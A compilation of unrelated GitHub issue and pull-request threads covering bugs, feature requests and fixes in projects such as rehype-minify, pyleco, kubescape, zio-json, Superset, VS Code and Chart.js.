config-sha256:1e4531df184ea4708d9274d9dd8accf7352906c45cff67bdd276b68c87bfdea5:   done           |++++++++++++++++++++++++++++++++++++++|
layer-sha256:2a72cbf407d67c7a7a76dd48e432091678e297140dce050ad5eccad918a9f8d6:    done           |++++++++++++++++++++++++++++++++++++++|
layer-sha256:bce480ca577d3e311502bf1cc6192c72e2ec1d7d705ee905e9f1acf8f3c3ab10:    done           |++++++++++++++++++++++++++++++++++++++|
layer-sha256:fd4bd92a13906102906bdfb79dc15c6736f240338576b69b94f6a0078948d1d9:    done           |++++++++++++++++++++++++++++++++++++++|
elapsed: 97.2s

Ⅴ. Special notes for reviews

link to #2875


Package logging_tree

https://pypi.org/project/logging_tree/

Done via https://github.com/nsls-ii-forge/logging_tree-feedstock/pull/1.


Car authorization concept refactoring

Refactor authorization concept for Car entity.

Must be postponed for the next release.


Edit Existing Project should go to last location, not start over

If you click on the Edit Action next to an in-process survey, the app should return to the last point in the survey.
Don't show the starting page if a project is already in process.

This is Fix, @teveritt  Check with @geverit4  to check the deployed version


Inline HTML content is trimmed

The contents of inline tags are being trimmed. When parsing html to markdown:
Input
a b c d e

Expected output
a b c d **e**

Actual output
a bc d**e**

Runkit repro: https://runkit.com/erquhart/595d36c4e60f6b0012c00405

If someone wants to work on it, it’s in rehype-minify-whitespace.
Moved from https://github.com/wooorm/remark/issues/275.

Ah, wrong repo, sorry! I'll move it again lol.

@wooorm I'm not using rehype-minify-whitespace in that repro - are you certain that's the problem?

Yup

@wooorm seems like the best approach may be to simply allow minification to be toggled off in the options for rehype-remark/hast-util-to-mdast. Would you accept a PR for that?

Just dropping this here ’cause it probably has to be something like this: https://github.com/wooorm/remark-lint/blob/master/packages/remark-lint-no-paragraph-content-indent/index.js

Bumping this as we're still experiencing this issue: https://github.com/netlify/netlify-cms/issues/3727
I added a test that is failing https://github.com/erezrokah/rehype-minify/commit/d7cc409c35e9d91c4f0d569f107e1122d3edb082#diff-c7e2175747a03e137c1615aecfaa1636R103 but not sure how to go about fixing it.
Can you suggest a place to get started?
Tried looking at the history of https://github.com/wooorm/remark-lint/blob/master/packages/remark-lint-no-paragraph-content-indent/index.js but couldn't figure out the suggested direction.

I am facing the same issue. It is coming from those lines:
https://github.com/rehypejs/rehype-minify/blob/master/packages/rehype-minify-whitespace/index.js#L62-L68
I think the problem is that in the case of a , , , the siblings you want to test are not the node siblings (almost always non existing) but the siblings of the parent.

Re-thinking about it, I would even argue you should never trim an inline element: there is no way you can know if the leading / trailing space has been introduced on purpose or not:

Click here: <input text="my button" value="button">

 Maybe I want to start with a space here...

Released!

This is amazing @wooorm, do you suggest I open PRs for https://github.com/syntax-tree/hast-util-to-mdast/blob/7c4667743dd056b33f1c76a7c319674aef951a4f/package.json#L40 and https://github.com/rehypejs/rehype-remark/blob/10c28f586be34b1baf3d221d8116a7e70aed2365/package.json#L28 to update dependencies?
Would a major version bump will be required for those?

It's a patch, so reinstalling dependencies should do the trick!

Sorry, let me clarify my question.
We're using rehype-remark. Even if I update it to the latest version is still uses "hast-util-to-mdast": "^7.0.0" which uses "rehype-minify-whitespace": "^3.0.0", so it won't get the fix.
I'm using (with yarn) the following workaround:
"resolutions": {
  "rehype-minify-whitespace": "^4.0.2"
}

But that is not ideal

Awesome! Thanks a lot @wooorm.
I tried to test the changes (I manually patched "rehype-remark") and I get an error:
TypeError: Cannot read property 'type' of undefined
    at one .../hast-util-to-mdast/lib/one.js:13:12)

I traced to https://github.com/syntax-tree/hast-util-to-mdast/blob/master/index.js#L31 : minify  returns undefined for my tree (was working before). Investigating too :)

@wooorm You removed the return tree :)
https://github.com/rehypejs/rehype-minify/commit/64c6206f2ac5c25a4465966a6e29ac696ed63f8b#diff-a6b748a472d9e6a0024e05443221d898L44
Adding here fix the issue: https://github.com/rehypejs/rehype-minify/blob/master/packages/rehype-minify-whitespace/index.js#L40

Created a PR to address this new issue: https://github.com/rehypejs/rehype-minify/pull/33
Feel free to use it or not ;)
I tested the new trimming behaviors, works pretty well, especially with "my" complex DOM. Thanks again!


Pyleco for python 3.8

In https://github.com/pymeasure/pyleco/pull/61 I successfully reduced the requirement to Python 3.8 by replacing the dependency by my own code and changing typing.
Python 3.7 failed due to setup tools I have to investigate, whether I can achieve Python 3.7.
Due to the larger changes, I will have to test it, before doing a release.

thanks a lot @BenediktBurger

python 3.7 requires dropping typing.Protocol, which I use extensively.
With more effort and pain, we could reduce the requirements to Python 3.7, but I prefer starting at 3.8.

For python 3.8+ you can use https://pypi.org/project/typing-extensions/ if some python versions lacks typing utilities you're using!
Unfortunately they don't do it for python 3.7...

I reorganized some things, such that I could publish a pyleco 0.3 version for python>=3.8.
Would you prefer an earlier release (these days) or don't you care if it comes later?
In the latter case, I can address some small issues as well.

nothing urgent on our side @rgeneaux did'nt come back with use case issues yet ;-)

yes we're working on the laser side of things for a while so software questions will come later - take your time Benedikt!

Pyleco 0.3.0 is out with support for Python 3.8.

Awesome I'll be able to include it in the next minor release

I reopened the issue such that it is a reminder to adjust the requirements, when to install pyleco.

I think you can close it as the requirement have been set in the new versions

Included in pymodaq 4.2.


A tiny VM refactor to make it easier to build state

A tiny VM refactor to make it easier to build state
Cute Animal Picture

Actually, fixing the bug in this PR (off-by-one error on which hashes are retrieved) means making the new code as ugly as the old stuff, so I'll close this for now.


sha256 not being published since v3.0.3

Overview
Previous releases included a sha256 file that could be verified.
This initially raised and included as a result of https://github.com/kubescape/kubescape/issues/98
I did look around for any documentation on updated signing or validation mechanisms and found none.
Problem
This was an easy means of preventing mutated binaries and unexpected changes.
Solution
Including the sha256 files again seems like the simplest solution.
Alternatives

Additional context

@echoblag please check the SBOM files, if they don't contain what you need, let's see if https://goreleaser.com/customization/checksum/ can add them back - I'll happily review your PR 👍

Let me follow-up on that next week when I'm back, but I think we can configure goreleaser to provide the checksums.
Also, our images https://quay.io/repository/kubescape/kubescape and https://quay.io/repository/kubescape/kubescape-cli should be signed with cosign: https://kubescape.io/docs/install-operator/#validation-with-public-key

fixed by #1665


Unexpected value 't' imported by the module 'ContentManageModule'

when I install the plug-in, but I have made a mistake, Have you ever had this problem? @maxisam

I need more information. Try 1.4.0 version if you don't need AoT.

@maxisam Have the same problem - it is some generic problem:

Can come from ng2 versions mismatch
Or webpack bug
Or module bug

I have huge app on ng2 and I am not sure what is causing this error, but I see the problem only in specs. And if I remove ClipboardModule from TestBed config 'imports' - everything is working again.

it is actually webpack issue. Please read my previous comment, or just use 1.4.0 version.

I assumed my suggestion works. This issue is closed.


ADT Serialization: Recursive types (possible) / Collection of recursive types (not deriving/compiling)

Disclaimer:
I am new to zio-json and new to magnolia and couldn't have a convincing answer for my problem in the discord channel so I came here to describe it because it seems to me that there is really some potential problem/enhancement to do.
By all means sorry if it is due to my misunderstanding :)
For the moment it is trivial and very comfortable to serialize this kind of recursive structure:
object KingDom {
  sealed trait Human
  object Human {
    final case class Subject(name: String) extends Human
    final case class King( name: String, reignOver: Human) extends Human
  }
}

With:
object KindDomApp extends App {
  import KingDom.Human
  import KingDom.Human._
  val dom: Human = King("Louis XIV", Subject("Richelieu"))
  println(dom.toJson)
}

It serialize correctly to:
{"King":{"name":"Louis XIV","reignOver":{"Subject":{"name":"Richelieu"}}}}

But we would like to give the King much more subjects with something like (reignOver field is now a collection):
object KingDom {
  sealed trait Human
  object Human {
    final case class Subject(name: String) extends Human
    final case class King(name: String, reignOver: Iterable[Human])
        extends Human

    implicit val codec = DeriveJsonCodec.gen[Human]
  }
}

We get the error(trying Seq/List isn't changing anything):
[E]      magnolia: could not find JsonCodec.Typeclass for type Iterable[zio.aerospike.sandbox.KingDom.Human]
[E]          in parameter 'reignOver' of product type zio.aerospike.sandbox.KingDom.Human.King
[E]          in coproduct type zio.aerospike.sandbox.KingDom.Human
[E]
[E]      L161:     implicit val codec = DeriveJsonCodec.gen[Human]
[E]                                     ^^^^^^^^^^^^^^^^^^^^^^^^^^

As the derivation is made by magnolia I went digging there and there is some example of derivation of Seq type classes so it should be possible.
The thing is all the instances are in the JsonEncoder/Decoder/Codec companion object (seq/iterable...) and I don't know how it is interacting with magnolia derivation for the moment.
I am ready to help and try to solve but I would need some basic direction. Maybe also a more precise diagnostic than what I have done to be sure what is wrong. Thanks for helping.
Cheers!

@samuelsayag Have you tried if lazy val works for your case like here.

If I understand correctly, your problem was solved in the Discord room. If I’m mistaken, please reopen.

Hi @fsvehla, the problem is not solved.
I tried the solution of concrete structure such as List as advised by @fommil but the problem persist.
I simply happen to have a weaker case that did not need this exact type of recursion so was eventually was not blocked.
@plokhotnyuk recognized it as a bug and also opened it in jsoniter (https://github.com/plokhotnyuk/jsoniter-scala/issues/757).
He kindly sent me some info about how he solved the problem (in jsoniter) by doing this:

Hi, Samuel! It happened that types not always can be compared by the == operator. I've fixed the issue in jsoniter-scala by using full names for testing of equality of types: https://github.com/plokhotnyuk/jsoniter-scala/commit/3bda152b1456eeead4ca96628c9c9eb512183884

I thought it would be important to support this kind of case as recursive structure.
If it is considered a minor issue though it can be closed.

I think I reproduced the same issue with the following code, but I am getting a null reference exception from java:
case class A(
    s: String,
    a: Option[Seq[A]]
)

object A {
  implicit val codec: JsonValueCodec[A] = JsonCodecMaker.make(CodecMakerConfig.withAllowRecursiveTypes(true))
}

object JsonSpec extends ZIOSpecDefault {
  val spec: Spec[Any, Throwable] = suite("SelectionIdHashSpec")(
    test("Find 1-1-1 in ceId test") {
      val json = "{\"s\": \"test\", \"a\":[{\"s\": \"test\"}] }"
      val obj = readFromString[A](json)
      assertTrue(obj.toString == "...")
    }
  )
}

Shouldn't it be lazy val if your type is recursive?

So, what does one do with this?
Just got stuck with the same problem at work - can't create derived Decoder for a recursive type.


Show mjml compilation errors in browser previews

Sometimes there are mjml compilation errors returned from the render function as well as valid HTML. Currently we display the preview if there's any html but abort sending the email if there are any errors. So you may think you have a good email and it'll only fail when you try to send. Instead, it would be better to display the errors on the preview page so that you know to fix them.

Example: render an MjmlImage block with an invalid value, e.g. width="300" (omitting "px").  The MJML compiler outputs an error to the console, but the preview renders fine.  Instead, the preview should show the error or direct the user to the console.

fixed by https://github.com/psugihara/mailing/pull/36


Fix "zero dates" handling for cftime > 1.0.1

Problems are well covered elsewhere:

#3215 original occurrence
#3239 reoccurrence
#3245 withdrawn proposal + hints of a better way

Discussed here

A I right in thinking this was fixed by #3259?

Am I right in thinking this was fixed by #3259?

Well, we said back there that your problem example in #3239 meant it probably wasn't all fixed.
So I tried that again, and that case is definitely not fixed:
>>> print(temp_cube.coord('time'))
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
  File "/home/h05/itpp/git/iris/iris_main/lib/iris/coords.py", line 786, in __str__
    points = self._str_dates(self.points)
  File "/home/h05/itpp/git/iris/iris_main/lib/iris/coords.py", line 769, in _str_dates
    date_obj_array = self.units.num2date(dates_as_numbers)
  File "/opt/scitools/environments/default/2019_02_27/lib/python3.6/site-packages/cf_units/__init__.py", line 1989, in num2date
    return _num2date_to_nearest_second(time_value, cdf_utime)
  File "/opt/scitools/environments/default/2019_02_27/lib/python3.6/site-packages/cf_units/__init__.py", line 602, in _num2date_to_nearest_second
    dates = utime.num2date(time_values)
  File "cftime/_cftime.pyx", line 1211, in cftime._cftime.utime.num2date
  File "/opt/scitools/environments/default/2019_02_27/lib/python3.6/site-packages/numpy/core/fromnumeric.py", line 279, in reshape
    return _wrapfunc(a, 'reshape', newshape, order=order)
  File "/opt/scitools/environments/default/2019_02_27/lib/python3.6/site-packages/numpy/core/fromnumeric.py", line 51, in _wrapfunc
    return getattr(obj, method)(*args, **kwds)
ValueError: cannot reshape array of size 1 into shape (5,)
>>>

Frankly, though, it doesn't seem to me that this problem has anything to do with the zero dates issue.
However it is a peculiar + mysterious problem, so I created a new ticket for it #3402


Adding MySQL connector

🗣 Description
Adding a MySQL connector to connect to remote databases.
Note:
This maybe to specific for the container,
if you think this is not neccessery no problem. Just close the PR :)
💭 Motivation and Context
🧪 Testing
I'm running this config for a half year, no issues.
✅ Checklist

[x] This PR has an informative and human-readable title.
[x] Changes are limited to a single goal - eschew scope creep!
[x] All future TODOs are captured in issues, which are referenced in code comments.
[x] All relevant type-of-change labels have been added.
[x] I have read the CONTRIBUTING document.
[x] These code changes follow project standards.
[x] All relevant repo and/or project documentation has been updated to reflect
the changes in this PR.
[ ] Tests have been added to cover the changes in this PR.
[ ] All new and existing tests pass.

/cc @felddy Please consider to merge or otherwise just close it, thank you :)


fix: force data load on import examples

SUMMARY
This attempts to fix some errors that we're seeing in current builds from pre 2.1 to master of ephemerals and docker tarball testing for releases. Some tables aren't loading into sqlite because the table is locked, so I'm passing in the force flag to reload the data if it was unsuccessful
BEFORE/AFTER SCREENSHOTS OR ANIMATED GIF
Before:

After:

TESTING INSTRUCTIONS
Ephemeral environments should succeed in loading example data
ADDITIONAL INFORMATION

[ ] Has associated issue:
[ ] Required feature flags:
[ ] Changes UI
[ ] Includes DB Migration (follow approval process in SIP-59)

[ ] Migration is atomic, supports rollback & is backwards-compatible
[ ] Confirm DB migration upgrade and downgrade tested
[ ] Runtime estimates and downtime expectations provided

[ ] Introduces new feature or API
[ ] Removes existing feature or API

/testenv up

I'll write some tests for this once I confirm that the fix is working here.

/testenv up

/testenv up

Would you rather I merge or close https://github.com/apache/superset/pull/23893 ?

Would you rather I merge or close #23893 ? I should probably just close it... I'll wait for this to merge though.

Either way @rusackas. Thanks for that fix, I pulled it in here b/c it was the only way that I could test if this worked. :)

Hi @eschutho, while working on https://github.com/apache/superset/pull/25564 I noticed the following:
The check if: needs.config.outputs.has-secrets returns true in both cases when the variable has any content. So even if jobs have the check, they will run anyway.
The solution could be either to check if: needs.config.outputs.has-secrets == 1 or don't set has-secrets when there are no secrets.

Hi @eschutho, while working on #25564 I noticed the following:
The check if: needs.config.outputs.has-secrets returns true in both cases when the variable has any content. So even if jobs have the check, they will run anyway.
The solution could be either to check if: needs.config.outputs.has-secrets == 1 or don't set has-secrets when there are no secrets.

Hi, yeah I saw your comment in the other PR, too, thanks! This was a fix that @rusackas and I brought in to fix some CI failures, but we weren't sure the absolute need for it. If it works to remove the check like in #24464 then that seems to be a good fix, if you think that will work.


Fixed #267 : Add a way to contact the team

Description
The user can now contact the team .
Related issues and discussion
#267
Screen-shots, if any

It is a bit too visible. Can you "hide" it in the preferences activity ? Otherwise we will end up receiving too much mail.

I will move it to preferences activity.


Prevent RkTextInput focus on label press (or make it optional)

Issue type
I'm submitting a ...  (check one with "x")

[x] bug report
[ ] feature request

Issue description
I've implemented a "show" password feature, using the label prop provided by RkTetxInput.
Current behavior:
When pressing on a label (which is string or icon), it focuses the underlying text input and then triggers my onPress.
Expected behavior:
When providing an onPress, it should ignore the default focus behaviour or at least be optional.
Steps to reproduce:
See code below
Related code:

 <RkTextInput
        {...otherProps}
        label={this.renderIcon()}
        placeholder={placeholder}
        rkType='iconRight'
        secureTextEntry={!showPassword}
      />

 renderIcon = () => {
    const { showPassword } = this.state;
    const name = showPassword ? 'eye-off' : 'eye';

    return <Icon name={name} onPress={this.toggleShowPassword} />;
  };

Other information:
The code that needs to be changed: https://github.com/akveo/react-native-ui-kitten/blob/586b4f22b540b1ee0deaf194053907c0b51dc6e4/src/components/textinput/rkTextInput.js#L184
I'm happy to PR this myself, however would like to discuss first.
The change could look something like this:
label.props.onPress ? label.props.onPress(e) : this.inputRef.focus();

Hi @Johan-dutoit
Thanks for contributing!
We are working on the new version which will be completely redesigned. So it makes sense to close this issue as we don't have plans to support this version of lib.

@malashkevich anyway I can get access to this? i.e. I'd love to contribute and/or test :)

@Johan-dutoit
For now you can stay tuned on repo updates and see issues we are working on.
As a contributor you can have some ideas on features we're going to implement, etc


transformer/markdown: remove  handling

Special case for non-existent <bl> html tag is not required.

Maybe the intent was to handle dl as in description list? That would require a corresponding di, though. Agree with removing it.
It's in Collect, but was introduced in this commit: https://github.com/getodk/collect/commit/5241490db2efeb760f2fd11698825e0b209fdd2d#diff-233eccc161a656f324fd9a21c96ea5dceb620636d7b5780a92eab306ec9fa663R33 "Rewrite to match Enketo code as closely as possible" 😭

Introduced in Enketo at https://github.com/enketo/enketo/commit/b47e2281e54ef8efe056698df1cdac4b336ae6db
Do you think the intent could have been to handle br? That actually would be very helpful -- a lot of Collect forms use br and it would be wonderful if they worked as expected in Enketo. I believe changing bl to br would have that effect.

Do you think the intent could have been to handle br?

Yes, I think so... :anguished:

Do you think the intent could have been to handle br?

Maybe?  But changing bl to br doesn't have any obvious effect:
main

markdown
html

Lorem\nIpsum\netcetera
Lorem
Ipsum
etcetera

Lorem\nIpsum\netcetera\n
Lorem
Ipsum
etcetera

Lorem\nIpsum\netcetera\n\n
Lorem
Ipsum

etcetera

Lorem\n\nIpsum\n\netcetera

Lorem

Ipsum
etcetera

Lorem\n\nIpsum\n\netcetera\n

Lorem

Ipsum
etcetera

Lorem\n\nIpsum\n\netcetera\n\n

Lorem

Ipsum

etcetera

changing bl to br

markdown
html

Lorem\nIpsum\netcetera
Lorem
Ipsum
etcetera

Lorem\nIpsum\netcetera\n
Lorem
Ipsum
etcetera

Lorem\nIpsum\netcetera\n\n
Lorem
Ipsum

etcetera

Lorem\n\nIpsum\n\netcetera

Lorem

Ipsum
etcetera

Lorem\n\nIpsum\n\netcetera\n

Lorem

Ipsum
etcetera

Lorem\n\nIpsum\n\netcetera\n\n

Lorem

Ipsum

etcetera

The input would contain a
 tag, right? But you're right that this is not doing what I thought it might. Let's remove for now.

The input would contain a
 tag, right?

 included in input is currently converted to <br>

Perhaps <bl> is an archaic form of
. I can find few references, but here's one:
http://www.antipope.org/charlie/old/attic/webbook/ch2html/html-ch1h.html
<bl>
…
…</bl> does indeed work in contemporary Firefox and Chrome, but of course I support it's removal here :+1: I'm just leaving a note in case anyone else has the curiosity that I did.

@jnm Thanks for checking!

<bl>
…
…</bl> does indeed work in contemporary Firefox and Chrome

I'm not 100% convinced there's anything special happening here. Try this HTML in firefox & chrome:

one

two

    <bl>

one

two

    </bl>
    <whatever>

one

two

    </whatever>

Chrome

Firefox


Distracting flashing title bar

Hi, I am having trouble reading comfortably on readium because of the flashing title bar. Here is what I mean - readium starts out with a solid black title bar:

After a few seconds of not moving the mouse, the bar turns white and shows the title of the book I'm reading:

Once I move the mouse, the bar turns black again. This happens several times per minute, making my reading experience pretty bad, it's very distracting.
I managed to disable this behavior by commenting out the following in css/viewer.css, and rebuilding the chrome extension - now the title bar is always black.
    -webkit-transition: all 10s ease-out;
    opacity:0;

in both
    .hide-ui .navbar { ... }

and
    .hide-ui #left-page-btn,
    .hide-ui #right-page-btn,
    .embedded .toc-visible #left-page-btn,
    .embedded .toc-visible #right-page-btn { ... }

Would you consider fixing this permanently? Thanks

@gbitzes the rationale for this feature is an uncluttered reading experience. I can see how the flashing would be annoying. As a data point, iBooks on iOS toggles controls with a longpress. Something to think about.
Offtopic, what window manager are you using? It really reminds me of ion3.

Thank you @gbitzes for reporting this! It is a known problem, however:
https://github.com/readium/readium-js-viewer/issues/182
I am closing this issue, but cross-referenced it.

Thanks for the responses! I'll be keeping an eye on the other issue for updates.
@dmitrym0, my window manager is called i3wm, it is quite awesome.


proper support of cancellation in resolveCompletionItem

VSCode Version: 1.44.0
OS Version: 1909

Steps to Reproduce:

install python 3.7+
python -m pip install pandas
clone https://github.com/microsoft/pyright
open vscode with pyright repo root
run "pyright client"
type "import pandas as pd"
in next line, type "pd.read_c"
wait tooltip for read_csv from completion list
while it is calculating (resolveCompletionItem call), move to other completion item causing resolveCompletionItem call to be cancelled.

Does this issue occur when all extensions are disabled?: No
..
issue seems with this code
https://github.com/microsoft/vscode/blob/master/src/vs/workbench/api/common/extHostLanguageFeatures.ts#L904
this resolveCompletionItem call seems to not handle cancellation properly. so even if cancellation happened, it just take whatever result it got and cache it causing until next (new) completion list, tooltip is lost for one that got cancelled.
basically, it looks like "then" should handle error case as well.

Not sure what you mean? The actual caching of the resolve-result happens in the UX, here https://github.com/microsoft/vscode/blob/568466d2fe7152698dc9b094ced20b5cbe7693fa/src/vs/editor/contrib/suggest/suggest.ts#L97 and cancellation is handled. Is it that your language service throws an error (which is not the cancellation error) which is then cached?

fyi @dbaeumer

hmmm.. code seems changed. it now uses await rather than .then(...)
the code I shared used ".then" without error handling part. with await, I guess as long as resolveCompletionItem promise reject, things will work as expected?
https://github.com/microsoft/vscode/commit/8f1b2e565797929d8e8fd772ed35fa202ac76567#diff-bf62e0eff390ee2bc5596fbc5b6bf2e7L904

Using await or then shouldn't matter here as no error-handling exists here. Everything should happen here. There we cache the request-promise (which is the whole thing, request to ext host, request to extension, etc) and we clear the cached promise when cancellation happens, unless resolving is already done

I see. probably due to "https://github.com/microsoft/vscode-languageserver-node/issues/615" not returning error but return item.
it just got fixed, so that might be the root cause then.

ok - closing as duplicate of the LSP issue


Client highlights substrings in workspace/symbols even though query is server-defined

The query of the workspace/symbol is defined and performed by the server according to the LSP-spec but VSCode still highlights parts of the text.
This is a violation of the separation of concerns and is also confusing to the user especially the symbol names includings a keyword prefix that is not part of the query the server implements (https://github.com/microsoft/language-server-protocol/issues/1677)

This is unlike the textDocument/documentSymbol where the query algorithm is defined by the client.

At the minimum we need to document that clients are allowed to do that.

I will move this to the LSP repository since we need to address this in the specification to clarify that clients (as with all other request) are allowed to do scoring, ...

My own experiments seem to indicate that servers will truncate the full list of workspace symbols since it is to much data to send and for the client to deserialize. Thus scoring by the client is just broken in practice today. Rust analyzer seems to do this for example and I did it in my own language server.
If the client is supposed to define the query it is better to have the client implement the filtering itself. I think it is problematic to specify a query syntax in the LS-protocol as that is very much an UI-concern if you want wildcards, regex or some fancy fuzzy matching algorithm.
Moving the query implementation to the client side probably requires some progressive loading of workspace symbols as well as compression of data with a resolve mechanism and that they are cached in the client for the duration of the UI-session where the user types into the query-box.

Regarding progressive loading: this is more a VS Code issue than a LSP issue. LSP has the concept of streaming and other clients make use of it. VS Code has no support for it that is why it is disabled in the VS Code LSP client.

I updated the documentation for the query string and mentioned that clients are allowed to do filter and highlighting as LSP allows this in other parts.


The chart pointers are not keyboard accessible. They don't receive keyboard focus.

Expected behavior
The chart pointers should be keyboard accessible. One element of chart/ graph should receive keyboard focus with tab key and other pointers should be navigable using right/ left arrows.
Current behavior
The chart pointers are not keyboard accessible. They don't receive keyboard focus.
Reproducible sample
Bar · Chart.js documentation (chartjs.org)
Optional extra steps/info to reproduce
Steps to repro:

Launch URL: Bar · Chart.js documentation (chartjs.org) on chrome browser
Navigate to charts and select any chart.
Verify whether the graph pointer controls are keyboard accessible or not.

Possible solution
No response
Context
Test Environment:
OS: Windows 11 Enterprise 22H2 (OS build: 22621.1555)
Browser: Chrome Version 112.0.5615.138 (Official Build) (64-bit).
URL: https://iridiasppe.microsoft.com/.
Tools: Developer Tool.
Matrix: Chrome+ JAWS.
chart.js version
v3.7.16
Browser name and version
Edge Version 112.0.5615.138 (Official Build) (64-bit).
Link to your project
No response

Duplicate of https://github.com/chartjs/Chart.js/issues/1976


Failed to initialize model onnx-community/whisper-base: Error: Failed to load model because protobuf parsing failed.

System Info
"@huggingface/transformers": "^3.0.2",

Node -v - 20.0.0
Environment/Platform

[ ] Website/web-app
[ ] Browser extension
[X] Server-side (e.g., Node.js, Deno, Bun)
[ ] Desktop app (e.g., Electron)
[ ] Other (e.g., VSCode extension)

Description
I am trying to run model from local path but I get this error -- I tried loading different models but it presists.
` env.localModelPath =
"./models";
        const instance = await pipeline(model.task, model.name, {
          progress_callback,
          local_files_only: true,
          dtype: "q8",
        });`

Reproduction
1 .Download the Transfomers.js compatible model.
2. update the localModelPath
3. run the code with Node.js

As I understood it fails to access onnx/ dir

Ok, I needed to git lfs pull where models are located

Thanks for the update!


CER.py error in class CERConfig

This is related to https://github.com/huggingface/evaluate/issues/486, but am posting separately, as it is an error specific to the cer.py file I am using.
Is there a more current cer.py file I should be using to move from datasets.load_metric("cer") to evaluate.load("cer")?
FILE:
https://huggingface.co/spaces/evaluate-metric/cer/blob/af39b3b7914ffb126ece472884f75033cfc4727b/cer.py
MY FILE LOCATION:
Placed it in /project-root/cer/cer.py
Google Colab
During evaluate phase of fine-tuning, ran into this error:
ERROR:
class CERConfig(evaluate.info.Config):
AttributeError: module 'evaluate.info' has no attribute 'Config'. Did you mean: 'config'?
Thanks!

Here is a screenshot.


Decide what restrictions to apply to Strings used for tag keys and values.

We should decide how to restrict tag keys and String tag values before the first stats release.  See #31 and #518.
EDIT: https://github.com/census-instrumentation/opencensus-java/pull/514#issuecomment-322352342 is also related.

I opened a related issue in opencensus-specs: census-instrumentation/opencensus-specs#12

See https://github.com/census-instrumentation/opencensus-specs/issues/12#issuecomment-340631917.  The only restrictions are:

Tag keys and values must be printable ASCII.
The maximum length for keys and values is 255 characters.
Tag keys cannot be empty.

Closing, since the restrictions are enforced in the TagKey and TagValue factory methods.


Fixes GH-344

Removes the bad advice line.
GH-344

I've added more tests to make sure this patch doesn't break valid use cases of unnecessary semicolon. Applied in 4274cb179ff1b3b211e32b2b5d65437c6240f830.

Thanks!


Adding a new device

Hi,
I am intreseted to find out what I need to do to add a new accelerator under DirectML.
I noticed that it currently supports Direct3D (DirectX12 devices) - which means GPUs only.
However, this accelerator isn't related to display and doesn't support DirectX12 framework.
What is the roadmap regarding adding support to non-display (non-GPU) hardware for DirectML?
Is there any way to integrate my accelerator into DirectML at the moment?
Thanks,
Roy

DirectML only supports DirectX 12 devices, and there aren't any plans to support other accelerators.


SAA-1822: Add attendance details for scheduled events for multiple prisoners

Codecov Report
Attention: Patch coverage is 95.00000% with 2 lines in your changes missing coverage. Please review.

Project coverage is 84.17%. Comparing base (9fd9698) to head (9e6116d).

Files with missing lines
Patch %
Lines

...activitiesmanagementapi/util/TransformFunctions.kt
75.00%
0 Missing and 2 partials :warning:

Additional details and impacted files
@@             Coverage Diff              @@
##               main    #1063      +/-   ##
============================================
+ Coverage     84.12%   84.17%   +0.04%
- Complexity     3690     3698       +8
============================================
  Files           382      382
  Lines         12468    12508      +40
  Branches       1065     1067       +2
============================================
+ Hits          10489    10528      +39
  Misses         1498     1498
- Partials        481      482       +1

Flag
Coverage Δ

84.17% <95.00%> (+0.04%)
:arrow_up:

Flags with carried forward coverage won't be shown. Click here to find out more.

:umbrella: View full report in Codecov by Sentry.
:loudspeaker: Have feedback on the report? Share it here.


Optimize and add functionality to MQTTController

Description
MQTTController needs to be updated to prevent connection issues, apparent solution at the time of writing is the utilisation of the singleton pattern, Additionally, due to this new implementation, additional constraints will need to be added for textviews. To prevent duplicate entries across multiple activity initialisations when the application changes screens.

Additionally, a check will be added to prevent duplicate messages being sent over mqtt.

This can be considered feature complete, waiting on #53 to be merged to create new pr here.


Match Figma Designs on Dev Docs

Describe the desired behavior
This is going to be a dump of all non-addressed issues from this PR:
https://github.com/brightlayer-ui/angular-component-library/pull/481

Fix the Drawer Subtitle to Match the Designs

Texts in the table of "API Docs" are not currently following our "monospaced" rules

Quoted texts in API docs also need their styles adjusted

Update Drawer sideBorder description knob; it's not entirely accurate within the context of a standalone-drawer.

Adjust this style (code blocks on examples page)

Describe the current behavior
It's close but not quite
Is this request related to a current issue?
No
Additional Context

Code block outline details are below:

BLUI-3516

This should be fixed now.


Add Link to #43347

For some strange reason I am not allowed to add a comment to this issue:
https://github.com/microsoft/vscode/issues/43347
Could someone with more permission please do it.
Please link to this issue: https://github.com/microsoft/vscode-python/issues/14327
With this quote:

Since the problem still exists, I created a corresponding issue in the vscode-python repo

Thank you.

Does the solution proposed in the issue ("python.globalModuleInstallation": true) not work for you? I don't think we need to revive a 2 year old barely populated thread for this.

The question for me is: Why should I do a work-around for so many years? It fails and it confuses new users.

I understand the frustration. I have added your content.


Go 1.8 context supports

Package version eg. v8, v9:
v9
Issue, Question or Enhancement:
Enhancement: I would like to have go 1.8 context support. In my project, I need a custom validation tag which checks value against with DB. In that case, a context.Context would be required for DB connection.
For example, this validator will check userId does exist in DB
validate.RegisterValidation("userId", func(ctx context.Context, fl validator.FieldLevel) bool {
		row, err := sql. QueryContext(ctx, "SELECT * FROM users WHERE users.id = ? LIMIT 0, 1",  fl.Field().String())
                if err != nil {
                       panic(err)
                }
                return row != nil
	})

Code sample, to showcase or reproduce:
I will be great to have
StructCtx(ctx context.Context, s interface{}) (err error)

And
type FuncCtx func(ctx context.Context, fl FieldLevel) bool

Thanks @thaonx
I really like this idea!  It would actually allow me to solve a few things I hadn't been able to reconcile until now :) like a better way to do translations.
Give me some time to look over the PR I may want to incorporate into v10 and make a bunch of other changes at the same time but from my initial quick look I'll probably be able to merge into v9

just letting you know I haven't forgotten about this, just super busy with work, moving and other projects requesting changes.
I promise I will get to it :)

Hey @thaonx this is now added in release v9.5.0
Thanks! lots of great things on the horizon for v10!


Rename config.js and lang/*.js to *.json

Since those files aren't really JavaScript files, but JSON files, it would be much clearer if they used the right file extension.

Hey,
I know @thellimist has been replying to a few of these.  I've been slow to reply because its Thanksgiving here in the U.S.  We should be able to reply to everything starting next week.
While I agree these files should be .json unfortunately they have to be .js because cloudflare/cloudflare-cpanel doesn't recognize .json files..  cPanel serves 500 errors if we request them.
Since we share code between all these plugins we have to support the lowest common denominator for stuff like this.
Thanks,
John

Hey.
No worries, it's also weekend so there's no hurry :)
Now, about this, I understand completely. Thought, I have to say, it's weird that cPanel does this, but maybe it's one of their security measures.
Either way, it's no big deal, it just didn't seem right to me so I thought I'd bring it up.


Wording Suggestion

The following sentence in README is a bit confusing:

If you want to point it at your own GCC or similar binaries, either edit the etc/config/compiler-explorer.defaults.properties or else make a new one with the name compiler-explorer.local.properties.

It is especially so because the file etc/config/compiler-explorer.defaults.properties exists, but contains no compiler-specific information. Only after looking around for a while did I realize that it was files like etc/config/c.defaults.properties that I should check. So I think it might be better to say:

